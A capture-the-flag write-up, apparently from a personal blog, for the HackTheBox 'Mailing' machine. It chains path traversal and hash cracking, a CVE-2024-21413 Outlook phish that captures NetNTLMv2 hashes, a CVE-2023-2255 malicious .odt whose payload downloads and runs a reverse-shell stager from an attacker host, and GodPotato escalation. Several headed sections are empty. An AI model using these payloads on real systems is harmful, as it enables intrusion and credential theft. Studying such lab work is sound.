~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / mailing.md

mailing

Windows · Easy · released 2024-05-04 · retired 2024-09-07

Summary

Mailing is a focused chain of three published 2023–2024 CVEs:

  1. PHP path traversal in /download.php?file= leaks the hMailServer config (hMailServer.ini), which contains the admin password as an MD5 hash. Cracked offline → <ADMIN_PW> for the SMTP/IMAP admin.
  2. CVE-2024-21413 (Outlook “Moniker”): a file:// URL with a !something suffix bypasses Outlook’s Protected View when rendered. Send the email through the now-authenticated SMTP, the simulated maya user opens it, and her NetNTLMv2 lands in responder for cracking → <MAYA_PW>. WinRM as maya reads user.txt.
  3. CVE-2023-2255: a LibreOffice link-handler abuse — <text:link xlink:href="macro:shell(<command>)"> runs as the user opening the document, with no macro-warning prompt. Drop an evil.odt into the writable Important Documents SMB share; the simulated localadmin opens it on a schedule, our payload fires, and we land a reverse shell. root.txt is on localadmin’s desktop, not Administrator’s, so the chain ends here — no further privesc to SYSTEM is required (although a SeImpersonate account like localadmin is one GodPotato away from SYSTEM if the flag were placed in the canonical Admin Desktop).

The two key operational deltas vs the public reconstruction were on step 3:

Recon

25/465/587  hMailServer SMTP
80          Microsoft IIS 10.0 (PHP)
143/993     hMailServer IMAP
445         SMB

Landing page advertises Maya / Ruy / Gregory and a “Download Instructions” button hitting download.php?file=instructions.pdf.

curl -s 'http://mailing.htb/download.php?file=..\..\..\Program%20Files%20(x86)\hMailServer\Bin\hMailServer.ini'

The traversal is OS-style (\ not /) and the relative depth needs three ..\..\..\ to clear the IIS doc root. The leaked ini section:

[Security]
AdministratorPassword=<MD5>

Crack with hashcat -m 0 against rockyou — clean dictionary hit.

hashcat -m 0 admin.md5 /usr/share/wordlists/rockyou.txt
# → <ADMIN_PW>

These are SMTP admin credentials; they auth submission for internal/external recipients. Authenticated SMTP is the prerequisite for delivering the Outlook-Moniker phish to [email protected].

Foothold — CVE-2024-21413 → maya WinRM

Run responder -I tun0 to capture SMB auth. The CVE-2024-21413 payload is a file:// URL with a !something suffix embedded in HTML email body (the ! is what bypasses Outlook’s path validation):

<a href="file:////<ATTACKER>/share/test.rtf!something">click</a>
swaks --to [email protected] --from [email protected] \
  --auth LOGIN \
  --auth-user [email protected] \
  --auth-password <ADMIN_PW> \
  --server mailing.htb:25 \
  --header 'Subject: Updated docs' \
  --add-header 'Content-Type: text/html' \
  --body '<a href="file:////<ATTACKER>/share/test.rtf!something">click</a>'

swaks queues; within ~30 s the simulated maya opens the mail in Outlook and Explorer’s preview-pane SMB lookup hits our responder. Multiple MAYA::MAILING:... NetNTLMv2 hashes land in SMB-NTLMv2-SSP-<TARGET>.txt.

Crack:

hashcat -m 5600 maya.hash /usr/share/wordlists/rockyou.txt
# → <MAYA_PW>

evil-winrm -i mailing.htb -u maya -p '<MAYA_PW>'user.txt in C:\Users\maya\Desktop\.

“Privesc” — CVE-2023-2255 → localadmin → root.txt

net share and most net.exe commands return System error 5 for maya over WinRM. Pivot to smbclient with maya’s creds:

smbclient -U mailing/maya%<MAYA_PW> -L //mailing.htb
# Important Documents — Disk

Build the malicious .odt using elweth-sec’s PoC for CVE-2023-2255. The vulnerability: when LibreOffice renders a text link with xlink:href="macro:shell(<cmd>)", the BASIC shell() function is invoked at link-resolution time, before the user is asked about macros — the macro warning is bypassed because macro: URIs are treated as link-protocol handlers, not macro execution.

git clone https://github.com/elweth-sec/CVE-2023-2255
cd CVE-2023-2255
# IMPORTANT: payload must be cmd /c invoking powershell IEX, NOT powershell -enc
python3 CVE-2023-2255.py \
  --cmd 'cmd.exe /c powershell IEX(IWR -useb http://<ATTACKER>:8000/r.ps1)' \
  --output evil.odt

r.ps1 is a vanilla TCPClient reverse-shell stager pointing at listener on 4444. Host it via python3 -m http.server 8000, upload the .odt to the share, listen:

smbclient -U mailing/maya%<MAYA_PW> '//mailing.htb/Important Documents' \
  -c 'put evil.odt evil.odt'

while true; do nc -lvnp 4444 ; sleep 1 ; done

Within ~1 min the simulated localadmin opens the file and the reverse shell connects:

connect to [<ATTACKER>] from (UNKNOWN) [<TARGET>] 58904
PS C:\Program Files\LibreOffice\program> whoami
mailing\localadmin

root.txt is on localadmin’s own desktop:

type C:\Users\localadmin\Desktop\root.txt

If root.txt were on Administrator (general case)

localadmin has SeImpersonatePrivilege (visible in whoami /priv), so the standard Potato-family escalation applies. GodPotato runs cleanly from C:\Windows\Tasks\ (the canonical write-friendly directory; %TEMP% sometimes triggers on-write Defender quarantine):

iwr http://<ATTACKER>:8000/GodPotato.exe -OutFile C:\Windows\Tasks\gp.exe
C:\Windows\Tasks\gp.exe -cmd 'cmd.exe /c whoami > C:\Users\Public\who.txt'
type C:\Users\Public\who.txt    # nt authority\system

GodPotato output confirms: [*] CurrentUser: NT AUTHORITY\SYSTEM.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗